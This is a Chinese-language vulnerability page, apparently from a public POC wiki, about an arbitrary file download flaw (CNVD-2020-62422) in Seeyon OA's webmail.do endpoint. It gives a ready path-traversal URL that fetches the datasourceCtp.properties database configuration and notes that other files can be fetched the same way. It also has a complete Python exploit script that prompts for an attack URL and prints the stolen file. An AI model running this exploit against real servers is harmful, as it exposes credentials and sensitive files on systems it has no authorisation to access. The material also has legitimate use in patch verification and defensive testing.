# 致远OA webmail.do任意文件下载 CNVD-2020-62422

### 漏洞描述 <a href="#lou-dong-miao-shu" id="lou-dong-miao-shu"></a>

致远OA存在任意文件下载漏洞，攻击者可利用该漏洞下载任意文件，获取敏感信息

### 漏洞影响 <a href="#lou-dong-ying-xiang" id="lou-dong-ying-xiang"></a>

致远OA A6-V5

致远OA A8-V5

致远OA G6

### 漏洞复现 <a href="#lou-dong-fu-xian" id="lou-dong-fu-xian"></a>

访问 url <http://xxx.xxx.xxx.xxx/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties>

存在漏洞的OA 系统将会下载 **datasourceCtp.properties** 配置文件

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MhmAnNJgF1o6I_tmMAn%2F-MhmGeYCct_UXdpQT2-s%2Fimage.png?alt=media\&token=205d7c9a-f146-4314-9420-f381f8b8d3b6)

更改参数 filePath 可下载其他文件

### 漏洞利用POC <a href="#lou-dong-li-yong-poc" id="lou-dong-li-yong-poc"></a>

```
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                          \033[0m')
    print('+  \033[34mVersion: 致远OA多个版本                                                \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "workflow" in response.text:
            print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))
            print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
        else:
            print("\033[31m[x] 文件请求失败 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MhmAnNJgF1o6I_tmMAn%2F-MhmGirMgibJ1wKvhFES%2Fimage.png?alt=media\&token=46985fb6-1f99-444f-b6a9-134650586f37)

### Goby & POC <a href="#goby--poc" id="goby--poc"></a>

致远OA webmail.do任意文件下载 CNVD-2020-62422

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MhmAnNJgF1o6I_tmMAn%2F-MhmGn6zBMAi1d8cvk4_%2Fimage.png?alt=media\&token=a6c77753-ab84-4924-bf1f-d708c0e9ce4c)
